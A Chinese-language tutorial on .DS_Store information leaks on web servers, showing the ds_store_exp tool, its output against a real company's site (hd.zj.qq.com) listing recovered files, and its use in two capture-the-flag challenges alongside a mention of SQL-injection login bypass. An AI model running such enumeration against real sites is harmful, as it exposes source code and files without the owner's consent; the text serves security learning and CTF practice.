什么DS_Store
.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。 其删除以后的副作用就是这些信息的失去。
和别人交换文件(或你做的网页需要上传的时候)应该把 .DS_Store 文件删除比较妥当,因为里面包含了一些你不一定希望别人看见的信息。尤其是网站,通过 .DS_Store 可以知道这个目录里面所有文件的清单,很多时候这是一个不希望出现的问题。
DS_Store文件泄漏
.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。由于开发/设计人员在发布代码时未删除文件夹中隐藏的.DS_store,可能造成文件目录结构泄漏、源代码文件等敏感信息的泄露。
利用工具——ds_store_exp
源码地址:https://github.com/lijiejie/ds_store_exp
这是一个 .DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地(生成一个该,目标网站的一个源码文件夹)。其运行需要python2环境。
从github上下载工具到本地后,先安装需要的相关库文件:
python ds_store_exp.py http://www.example.com/.DS_Store
Example:
ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store
hd.zj.qq.com/
└── themes
└── galaxyw
├── app
│ └── css
│ └── style.min.css
├── cityData.min.js
├── images
│ └── img
│ ├── bg-hd.png
│ ├── bg-item-activity.png
│ ├── bg-masker-pop.png
│ ├── btn-bm.png
│ ├── btn-login-qq.png
│ ├── btn-login-wx.png
│ ├── ico-add-pic.png
│ ├── ico-address.png
│ ├── ico-bm.png
│ ├── ico-duration-time.png
│ ├── ico-pop-close.png
│ ├── ico-right-top-delete.png
│ ├── page-login-hd.png
│ ├── pic-masker.png
│ └── ticket-selected.png
└── member
├── assets
│ ├── css
│ │ ├── ace-reset.css
│ │ └── antd.css
│ └── lib
│ ├── cityData.min.js
│ └── ueditor
│ ├── index.html
│ ├── lang
│ │ └── zh-cn
│ │ ├── images
│ │ │ ├── copy.png
│ │ │ ├── localimage.png
│ │ │ ├── music.png
│ │ │ └── upload.png
│ │ └── zh-cn.js
│ ├── php
│ │ ├── action_crawler.php
│ │ ├── action_list.php
│ │ ├── action_upload.php
│ │ ├── config.json
│ │ ├── controller.php
│ │ └── Uploader.class.php
│ ├── ueditor.all.js
│ ├── ueditor.all.min.js
│ ├── ueditor.config.js
│ ├── ueditor.parse.js
│ └── ueditor.parse.min.js
└── static
├── css
│ └── page.css
├── img
│ ├── bg-table-title.png
│ ├── bg-tab-say.png
│ ├── ico-black-disabled.png
│ ├── ico-black-enabled.png
│ ├── ico-coorption-person.png
│ ├── ico-miss-person.png
│ ├── ico-mr-person.png
│ ├── ico-white-disabled.png
│ └── ico-white-enabled.png
└── scripts
├── js
└── lib
└── jquery.min.js
21 directories, 48 files
实例:
bugku-sql注入2
此题本为sql账户入题目,但他同时也有DS_Store文件泄漏漏洞。
通过dirsearch扫描发现.DS_Store文件泄露
使用利用工具——ds_store_exp查看.DS_Store文件
python ds_store_exp.py http://123.206.87.240:8007/web2/.DS_Store
发现flag文件,进入已下载下来的源码文件:
[BJDCTF 2nd]假猪套天下第一
进去之后:
可以直接用sql注入的万能密码登录进去,但是之后再无其他线索。我们只能用dirsearch扫描一下目录,发现/.DS_Store文件,
那就可以断定是DS_Store文件泄露了。
之后,上我们的利用工具——ds_store_exp:
python ds_store_exp.py http://node3.buuoj.cn:28294/.DS_Store
列出目录发现了L0g1n.php。访问它:
之后解题过程见:https://blog.csdn.net/qq_45521281/article/details/105775452